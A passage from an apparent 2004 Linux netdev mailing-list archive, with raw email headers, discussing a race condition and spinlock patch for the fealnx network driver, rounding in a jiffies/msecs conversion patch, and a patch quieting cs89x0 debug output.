1039:7001 cf7ed000-cf7edfff : usb-ohci cf7ee000-cf7eefff : PCI device 1039:7001 cf7ee000-cf7eefff : usb-ohci cf7ef000-cf7effff : PCI device 1039:7002 cf7ef000-cf7effff : ehci_hcd cf800000-cfffffff : PCI device 5333:8811 d0000000-d7ffffff : PCI device 1039:0746 fec00000-fec00fff : reserved fee00000-fee00fff : reserved ffee0000-ffefffff : reserved fffc0000-ffffffff : reserved [7.5.] 00:00.0 Host bridge: Silicon Integrated Systems [SiS] 746 Host (rev 10) Subsystem: Elitegroup Computer Systems: Unknown device 1808 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:01.0 PCI bridge: Silicon Integrated Systems [SiS] SG86C202 (prog-if 00 [Normal decode]) Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Reset- FastB2B- 00:02.0 ISA bridge: Silicon Integrated Systems [SiS] SiS85C503/5513 (LPC Bridge) (rev 25) Control: I/O+ Mem+ BusMaster+ SpecCycle+ MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap- 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- TAbort- SERR- ; Fri, 26 Mar 2004 10:49:30 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2QInHnl441914; Fri, 26 Mar 2004 13:49:17 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2QInX6X101130; Fri, 26 Mar 2004 13:49:34 -0500 Date: Fri, 26 Mar 2004 10:49:15 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Edgar Toernig cc: davem@redhat.com, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. In-Reply-To: <20040326014403.39388cb8.froese@gmx.de> Message-ID: References: <20040326014403.39388cb8.froese@gmx.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4262 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1492 Lines: 44 On Fri, 26 Mar 2004, Edgar Toernig wrote: > Sridhar Samudrala wrote: > > > > The following patch to 2.6.5-rc2 consolidates 6 different implementations > > of msecs to jiffies and 3 different implementation of jiffies to msecs. > > All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() > > that are added to include/linux/time.h > >[...] > > -#define MSECS(ms) (((ms)*HZ/1000)+1) > > -return (((ms)*HZ+999)/1000); > > +return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; > > Did you check that all users of the new version will work correctly > with your rounding? Explicit round-up of delays is often required, > especially when talking to hardware... I don't see any issues with the 2.6 default HZ value of 1000 as they become no-ops and there is no need for any rounding. I guess you are referring to cases when HZ < 1000(ex: 100) and msecs is less than 10. In those cases, the new version returns 0, whereas some of the older versions return 1. If i am not mistaken, Jeff Garjik/David Miller are the maintainers for most of the users of these routines and i have got an OK from them. drivers/block/carmel.c drivers/net/tulip/de204x.c include/linux/libata.h include/net/irda/irda.h drivers/atm/fore200e.c include/net/sctp/sctp.h The only other place where the older version is different is drivers/char/watchdot/shwdt.c Dave, Jeff Do you see any issues with the new generic versions of these routines? Thanks Sridhar > > Ciao, ET. > From gem@scream.fjortis.info Fri Mar 26 11:20:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 11:20:38 -0800 (PST) Received: from scream.fjortis.info (1-1-1-9a.ghn.gbg.bostream.se [82.182.69.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QJKBKO021164 for ; Fri, 26 Mar 2004 11:20:13 -0800 Received: from gem by scream.fjortis.info with local (Exim 4.30) id 1B6wuB-00047w-5B; Fri, 26 Mar 2004 20:22:11 +0100 Date: Fri, 26 Mar 2004 20:22:11 +0100 From: Andreas Henriksson To: Denis Vlasenko Cc: netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040326192211.GA15319@scream.fjortis.info> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4263 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andreas@fjortis.info Precedence: bulk X-list: netdev Content-Length: 2502 Lines: 71 On Fri, Mar 26, 2004 at 12:14:57PM +0200, Denis Vlasenko wrote: > BTW, my box is indeed slow and low on RAM, this fits. > I have only been looking at problems with races between the interrupt handler and the rest of the driver code.. there might be a bunch of problems with failed memory allocations that hasn't bitten me. > > Regarding your patch: I looked in start_tx(). Apart from latent > bug in commented out part of code: > next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; > which must be > next = (struct fealnx_desc *) np->cur_tx_copy->next_desc_logical; > I can't see anything racy there. The function just submits more > tx buffers for the card, it never touch cur_tx or cur_tx->skbuff... Francois Romieu explains the race in a comment to the bug I opened in the bugzilla. http://bugzilla.kernel.org/show_bug.cgi?id=1902#c1 The problem is that really_tx_count and similar parts of the private structure isn't atomically updated and both the interrupt handler and the start_tx function updates them. (they are regular integers instead of atomic_t) > > If I miss something and it indeed races with interrupt, you > definitely need to add > spin_lock(&np->lock); > ... > spin_unlock(&np->lock); > around interrupt handler body or at least around tx part > of it, or else your patch is incomplete (race will still > be possible on SMP). > I came to the conclusion that there should be a spinlock in the interrupt handler yesterday, but it won't effect me at all since I don't have SMP (nor preempt) so I'll leave it for now anyway. > > Anyway, I applied your patch and flooded with UDP again. > My box did not oops. Unfortunately, it did not oops when > I reverted back to old, presumably buggy driver. I cannot > reproduce it anymore with old driver too! Bad. :( I haven't been able to reproduce a kernel panic with my patch eighter. And I've been transfering Terabytes of traffic during the last weeks (or maybee it's months, well anyway.. I've done enough testing to say that the card works "good enough" in this machine atleast). And I've even tried your udp test.. Although I now have the myson/fealnx card in my p3-900 (256Mb) workstation instead of the old p-166 (40Mb) which served as a gateway before. It might just be that it's harder to trigger on newer/bigger machines. Maybee I should power up my p-166 again.. I actually have 2 of these cards so I can have one in each machine.. :) > -- > vda > -- Regards, Andreas Henriksson From jgarzik@pobox.com Fri Mar 26 11:33:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 11:33:38 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QJXXKO022337 for ; Fri, 26 Mar 2004 11:33:34 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B6x59-0002CJ-AM; Fri, 26 Mar 2004 19:33:31 +0000 Message-ID: <4064857E.2050603@pobox.com> Date: Fri, 26 Mar 2004 14:33:18 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andreas Henriksson CC: Denis Vlasenko , netdev@oss.sgi.com, Marcelo Tosatti , Linux Kernel Subject: [PATCH] Re: fealnx oopses References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326192211.GA15319@scream.fjortis.info> In-Reply-To: <20040326192211.GA15319@scream.fjortis.info> Content-Type: multipart/mixed; boundary="------------050800020108060100060100" X-archive-position: 4264 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 4212 Lines: 140 This is a multi-part message in MIME format. --------------050800020108060100060100 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Andreas Henriksson wrote: > On Fri, Mar 26, 2004 at 12:14:57PM +0200, Denis Vlasenko wrote: > > > >>BTW, my box is indeed slow and low on RAM, this fits. >> > > > I have only been looking at problems with races between the interrupt > handler and the rest of the driver code.. there might be a bunch of > problems with failed memory allocations that hasn't bitten me. > > >>Regarding your patch: I looked in start_tx(). Apart from latent >>bug in commented out part of code: >> next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; >>which must be >> next = (struct fealnx_desc *) np->cur_tx_copy->next_desc_logical; >>I can't see anything racy there. The function just submits more >>tx buffers for the card, it never touch cur_tx or cur_tx->skbuff... > > > Francois Romieu explains the race in a comment to the bug I opened in > the bugzilla. > > http://bugzilla.kernel.org/show_bug.cgi?id=1902#c1 > > The problem is that really_tx_count and similar parts of the private > structure isn't atomically updated and both the interrupt handler and > the start_tx function updates them. > (they are regular integers instead of atomic_t) > > >>If I miss something and it indeed races with interrupt, you >>definitely need to add >> spin_lock(&np->lock); >>... >> spin_unlock(&np->lock); >>around interrupt handler body or at least around tx part >>of it, or else your patch is incomplete (race will still >>be possible on SMP). >> > > > I came to the conclusion that there should be a spinlock in the > interrupt handler yesterday, but it won't effect me at all since I don't > have SMP (nor preempt) so I'll leave it for now anyway. > > >>Anyway, I applied your patch and flooded with UDP again. >>My box did not oops. Unfortunately, it did not oops when >>I reverted back to old, presumably buggy driver. I cannot >>reproduce it anymore with old driver too! Bad. :( > > > I haven't been able to reproduce a kernel panic with my patch eighter. > And I've been transfering Terabytes of traffic during the last weeks (or > maybee it's months, well anyway.. I've done enough testing to say that > the card works "good enough" in this machine atleast). > And I've even tried your udp test.. > > Although I now have the myson/fealnx card in my p3-900 (256Mb) > workstation instead of the old p-166 (40Mb) which served as a gateway before. > It might just be that it's harder to trigger on newer/bigger machines. > Maybee I should power up my p-166 again.. I actually have 2 of these > cards so I can have one in each machine.. :) Well really, somebody needs to port Donald Becker's myson driver to 2.6 APIs... I would like to get rid of fealnx, or somebody needs to spend a decent amount of time fixing it. Does the attached patch fix the issue? Jeff --------------050800020108060100060100 Content-Type: text/plain; name="patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="patch" ===== drivers/net/fealnx.c 1.34 vs edited ===== --- 1.34/drivers/net/fealnx.c Sun Mar 14 01:54:58 2004 +++ edited/drivers/net/fealnx.c Fri Mar 26 14:31:07 2004 @@ -1303,14 +1303,15 @@ /* for the last tx descriptor */ np->tx_ring[i - 1].next_desc = np->tx_ring_dma; np->tx_ring[i - 1].next_desc_logical = &np->tx_ring[0]; - - return; } static int start_tx(struct sk_buff *skb, struct net_device *dev) { struct netdev_private *np = dev->priv; + unsigned long flags; + + spin_lock_irqsave(&np->lock, flags); np->cur_tx_copy->skbuff = skb; @@ -1377,6 +1378,7 @@ writel(0, dev->base_addr + TXPDR); dev->trans_start = jiffies; + spin_unlock_irqrestore(&np->lock, flags); return 0; } @@ -1423,6 +1425,8 @@ unsigned int num_tx = 0; int handled = 0; + spin_lock(&np->lock); + writel(0, dev->base_addr + IMR); ioaddr = dev->base_addr; @@ -1564,6 +1568,8 @@ dev->name, readl(ioaddr + ISR)); writel(np->imrvalue, ioaddr + IMR); + + spin_unlock(&np->lock); return IRQ_RETVAL(handled); } --------------050800020108060100060100-- From vda@port.imtp.ilyichevsk.odessa.ua Fri Mar 26 11:58:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 11:58:09 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QJw2KO023714 for ; Fri, 26 Mar 2004 11:58:04 -0800 Received: (qmail 24894 invoked by alias); 26 Mar 2004 19:57:27 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 26 Mar 2004 19:57:27 -0000 From: Denis Vlasenko To: Andreas Henriksson Subject: Re: fealnx oopses Date: Fri, 26 Mar 2004 21:57:21 +0200 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, romieu@fr.zoreil.com References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326192211.GA15319@scream.fjortis.info> In-Reply-To: <20040326192211.GA15319@scream.fjortis.info> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403262157.21624.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4265 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 3292 Lines: 78 On Friday 26 March 2004 21:22, Andreas Henriksson wrote: > On Fri, Mar 26, 2004 at 12:14:57PM +0200, Denis Vlasenko wrote: > > > > > BTW, my box is indeed slow and low on RAM, this fits. > > I have only been looking at problems with races between the interrupt > handler and the rest of the driver code.. there might be a bunch of > problems with failed memory allocations that hasn't bitten me. > > > Regarding your patch: I looked in start_tx(). Apart from latent > > bug in commented out part of code: > > next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; > > which must be > > next = (struct fealnx_desc *) np->cur_tx_copy->next_desc_logical; > > I can't see anything racy there. The function just submits more > > tx buffers for the card, it never touch cur_tx or cur_tx->skbuff... > > Francois Romieu explains the race in a comment to the bug I opened in > the bugzilla. > > http://bugzilla.kernel.org/show_bug.cgi?id=1902#c1 > The problem is that really_tx_count and similar parts of the private > structure isn't atomically updated and both the interrupt handler and > the start_tx function updates them. > (they are regular integers instead of atomic_t) ------- Additional Comment #1 From Francois Romieu 2004-02-27 14:53 ------- Afaiks, np->{free_tx_count/really_tx_count} update in start_xmit is not atomic wrt the irq handler and the irq handler updates these variables as well. So we could have: - start_xmit reads really_tx_count (first step to update really_tx_count); - first tx irq takes place in and updates really_tx_count - start_xmit ends updating really_tx_count, ignoring the value set in the irq handler - second tx irq takes place and reads an erroneously high really_tx_count value - Nice explanation, but on x86 uniprocessor it can't happen. > > If I miss something and it indeed races with interrupt, you > > definitely need to add > > spin_lock(&np->lock); > > ... > > spin_unlock(&np->lock); > > around interrupt handler body or at least around tx part > > of it, or else your patch is incomplete (race will still > > be possible on SMP). > > I came to the conclusion that there should be a spinlock in the > interrupt handler yesterday, but it won't effect me at all since I don't > have SMP (nor preempt) so I'll leave it for now anyway. > > > Anyway, I applied your patch and flooded with UDP again. > > My box did not oops. Unfortunately, it did not oops when > > I reverted back to old, presumably buggy driver. I cannot > > reproduce it anymore with old driver too! Bad. :( > > I haven't been able to reproduce a kernel panic with my patch eighter. > And I've been transfering Terabytes of traffic during the last weeks (or > maybee it's months, well anyway.. I've done enough testing to say that > the card works "good enough" in this machine atleast). > And I've even tried your udp test.. > > Although I now have the myson/fealnx card in my p3-900 (256Mb) > workstation instead of the old p-166 (40Mb) which served as a gateway > before. It might just be that it's harder to trigger on newer/bigger > machines. Maybee I should power up my p-166 again.. I actually have 2 of > these cards so I can have one in each machine.. :) A Good Idea (tm) I have a spare P75, do you need it? ;) -- vda From romieu@fr.zoreil.com Fri Mar 26 12:22:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 12:22:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QKMHKO027967 for ; Fri, 26 Mar 2004 12:22:18 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2QKKbgf026782; Fri, 26 Mar 2004 21:20:37 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2QKKbFI026781; Fri, 26 Mar 2004 21:20:37 +0100 Date: Fri, 26 Mar 2004 21:20:36 +0100 From: Francois Romieu To: Andreas Henriksson Cc: Denis Vlasenko , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040326212036.A26347@electric-eye.fr.zoreil.com> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326192211.GA15319@scream.fjortis.info> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040326192211.GA15319@scream.fjortis.info>; from andreas@fjortis.info on Fri, Mar 26, 2004 at 08:22:11PM +0100 X-Organisation: Land of Sunshine Inc. X-archive-position: 4266 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 354 Lines: 11 Andreas Henriksson : [...] > I came to the conclusion that there should be a spinlock in the > interrupt handler yesterday, but it won't effect me at all since I don't > have SMP (nor preempt) so I'll leave it for now anyway. SMP is not needed. If an interrupt is fired at the wrong time, the race takes place as well. -- Ueimor From vda@port.imtp.ilyichevsk.odessa.ua Fri Mar 26 12:23:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 12:23:11 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QKN3KO028126 for ; Fri, 26 Mar 2004 12:23:05 -0800 Received: (qmail 24950 invoked by alias); 26 Mar 2004 20:05:58 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 26 Mar 2004 20:05:58 -0000 From: Denis Vlasenko To: Jeff Garzik , Andreas Henriksson Subject: Re: [PATCH] Re: fealnx oopses Date: Fri, 26 Mar 2004 22:05:53 +0200 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com, Marcelo Tosatti , Linux Kernel References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040326192211.GA15319@scream.fjortis.info> <4064857E.2050603@pobox.com> In-Reply-To: <4064857E.2050603@pobox.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403262205.53503.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4267 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 813 Lines: 22 On Friday 26 March 2004 21:33, Jeff Garzik wrote: > > Although I now have the myson/fealnx card in my p3-900 (256Mb) > > workstation instead of the old p-166 (40Mb) which served as a gateway > > before. It might just be that it's harder to trigger on newer/bigger > > machines. Maybee I should power up my p-166 again.. I actually have 2 of > > these cards so I can have one in each machine.. :) > > Well really, somebody needs to port Donald Becker's myson driver to 2.6 > APIs... I would like to get rid of fealnx, or somebody needs to spend a > decent amount of time fixing it. > > Does the attached patch fix the issue? > > Jeff It may fix Andreas case, but I doubt it can fix mine - mine was related to _rx_ code path. I need to find a way to reliably reproduce oopses with unfixed driver first. -- vda From vda@port.imtp.ilyichevsk.odessa.ua Fri Mar 26 12:23:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 12:23:13 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QKN3KO028125 for ; Fri, 26 Mar 2004 12:23:05 -0800 Received: (qmail 24923 invoked by alias); 26 Mar 2004 20:03:02 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 26 Mar 2004 20:03:02 -0000 From: Denis Vlasenko To: Jeff Garzik Subject: [PATCH] Silence cs89x0 Date: Fri, 26 Mar 2004 22:02:56 +0200 User-Agent: KMail/1.5.4 Cc: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_wxIZAvvUC50yjug" Message-Id: <200403262202.56861.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 4268 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 2015 Lines: 76 --Boundary-00=_wxIZAvvUC50yjug Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline I need to use lots of different eth cards at work. My kernel has lots of eth drivers compiled in. At boot they try to find supported hardware. cs89x0 is especially noisy and prints almost a screenful of debug info. This patch makes those printks go KERN_DEBUG way. Run tested on 2.6.5-rc1 -- vda --Boundary-00=_wxIZAvvUC50yjug Content-Type: text/x-diff; charset="us-ascii"; name="cs89x0.patch" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="cs89x0.patch" This is the most talkative NIC driver in my .config: cs89x0:cs89x0_probe(0x0) PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff PP_addr=0xffff eth0: incorrect signature 0xffff cs89x0: no cs8900 or cs8920 detected. Be sure to disable PnP with SETUP This patch makes these printks KERN_DEBUG --- linux-2.6.5-rc1/drivers/net/cs89x0.c.orig Wed Mar 17 22:54:08 2004 +++ linux-2.6.5-rc1/drivers/net/cs89x0.c Fri Mar 26 00:52:30 2004 @@ -455,10 +455,10 @@ ioaddr &= ~3; outw(PP_ChipID, ioaddr + ADD_PORT); } -printk("PP_addr=0x%x\n", inw(ioaddr + ADD_PORT)); + printk(KERN_DEBUG "PP_addr=0x%x\n", inw(ioaddr + ADD_PORT)); if (inw(ioaddr + DATA_PORT) != CHIP_EISA_ID_SIG) { - printk(KERN_ERR "%s: incorrect signature 0x%x\n", + printk(KERN_DEBUG "%s: incorrect signature 0x%x\n", dev->name, inw(ioaddr + DATA_PORT)); retval = -ENODEV; goto out2; --Boundary-00=_wxIZAvvUC50yjug-- From froese@gmx.de Fri Mar 26 12:45:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 12:45:40 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QKjUKO029475 for ; Fri, 26 Mar 2004 12:45:30 -0800 Received: (qmail 6531 invoked by uid 65534); 26 Mar 2004 20:45:24 -0000 Received: from unknown (EHLO dialup) (217.93.114.103) by mail.gmx.net (mp011) with SMTP; 26 Mar 2004 21:45:24 +0100 X-Authenticated: #271361 Date: Fri, 26 Mar 2004 21:45:07 +0100 From: Edgar Toernig To: Sridhar Samudrala Cc: davem@redhat.com, jgarzik@pobox.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. Message-Id: <20040326214507.0af7c06b.froese@gmx.de> In-Reply-To: References: <20040326014403.39388cb8.froese@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4269 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: froese@gmx.de Precedence: bulk X-list: netdev Content-Length: 867 Lines: 24 Sridhar Samudrala wrote: > > On Fri, 26 Mar 2004, Edgar Toernig wrote: > > > Sridhar Samudrala wrote: > > > > > >[...] > > > -#define MSECS(ms) (((ms)*HZ/1000)+1) > > > -return (((ms)*HZ+999)/1000); > > > +return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; > > > > Did you check that all users of the new version will work correctly > > with your rounding? Explicit round-up of delays is often required, > > especially when talking to hardware... >[...] > I guess you are referring to cases when HZ < 1000(ex: 100) and msecs is > less than 10. In those cases, the new version returns 0, whereas some of the > older versions return 1. Exactly - but not only <10. Any value that is not exactly representable in jiffies. I.e. for a delay of 15ms one has to wait 2 jiffies on a 100HZ system. Your version would give 1 jiffy = 10ms -- too short. Ciao, ET. From vda@port.imtp.ilyichevsk.odessa.ua Fri Mar 26 14:28:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 14:28:17 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QMS9KO032362 for ; Fri, 26 Mar 2004 14:28:11 -0800 Received: (qmail 25473 invoked by alias); 26 Mar 2004 22:14:48 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 26 Mar 2004 22:14:48 -0000 From: Denis Vlasenko To: Jeff Garzik Subject: Re: fealnx oopses Date: Sat, 27 Mar 2004 00:14:42 +0200 User-Agent: KMail/1.5.4 Cc: Andreas Henriksson , netdev@oss.sgi.com, romieu@fr.zoreil.com References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403262157.21624.vda@port.imtp.ilyichevsk.odessa.ua> <40648CAF.5010203@pobox.com> In-Reply-To: <40648CAF.5010203@pobox.com> MIME-Version: 1.0 Content-Disposition: inline Message-Id: <200403270014.23088.vda@port.imtp.ilyichevsk.odessa.ua> Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-archive-position: 4270 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 2413 Lines: 67 On Friday 26 March 2004 22:03, Jeff Garzik wrote: > Denis Vlasenko wrote: > > ------- Additional Comment #1 From Francois Romieu 2004-02-27 14:53 > > ------- Afaiks, np->{free_tx_count/really_tx_count} update in start_xmit > > is not atomic wrt the irq handler and the irq handler updates these > > variables as well. So we could have: > > - start_xmit reads really_tx_count (first step to update > > really_tx_count); - first tx irq takes place in and updates > > really_tx_count > > - start_xmit ends updating really_tx_count, ignoring the value set in the > > irq handler > > - second tx irq takes place and reads an erroneously high really_tx_count > > value > > - > > > > Nice explanation, but on x86 uniprocessor it can't happen. > > An irq in the middle of start_tx() can definitely happen on uniprocessor... Yes. But on x86 a++ is atomic vs interrupts - it's a single instruction and interrupts happen on instruction boundaries only. Entire start_tx() is included below sig. Where it can race against intr? I see no such place... do you? In other words: patch is needed for SMP, but Andreas was bitten by something else. > Can you try the patch I just posted? I can. The problem is, I cannot reproduce oops _without_ patch, and this renders testing useless. I will work on reproducing. > > Jeff -- vda static int start_tx(struct sk_buff *skb, struct net_device *dev) { struct netdev_private *np = dev->priv; np->cur_tx_copy->skbuff = skb; #define one_buffer #define BPT 1022 #if defined(one_buffer) np->cur_tx_copy->buffer = pci_map_single(np->pci_dev, skb->data, skb->len, PCI_DMA_TODEVICE); np->cur_tx_copy->control = TXIC | TXLD | TXFD | CRCEnable | PADEnable; np->cur_tx_copy->control |= (skb->len << PKTSShift); /* pkt size */ np->cur_tx_copy->control |= (skb->len << TBSShift); /* buffer size */ // 89/12/29 add, if (np->pci_dev->device == 0x891) np->cur_tx_copy->control |= ETIControl | RetryTxLC; np->cur_tx_copy->status = TXOWN; np->cur_tx_copy = np->cur_tx_copy->next_desc_logical; --np->free_tx_count; #elif defined(two_buffer) ...dead code... #endif if (np->free_tx_count < 2) netif_stop_queue(dev); ++np->really_tx_count; writel(0, dev->base_addr + TXPDR); dev->trans_start = jiffies; return 0; } From romieu@fr.zoreil.com Fri Mar 26 14:38:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 26 Mar 2004 14:38:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2QMcHKO000429 for ; Fri, 26 Mar 2004 14:38:18 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2QMZFgf028481; Fri, 26 Mar 2004 23:35:15 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2QMZEPO028480; Fri, 26 Mar 2004 23:35:14 +0100 Date: Fri, 26 Mar 2004 23:35:14 +0100 From: Francois Romieu To: Denis Vlasenko Cc: Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040326233514.B26347@electric-eye.fr.zoreil.com> References: 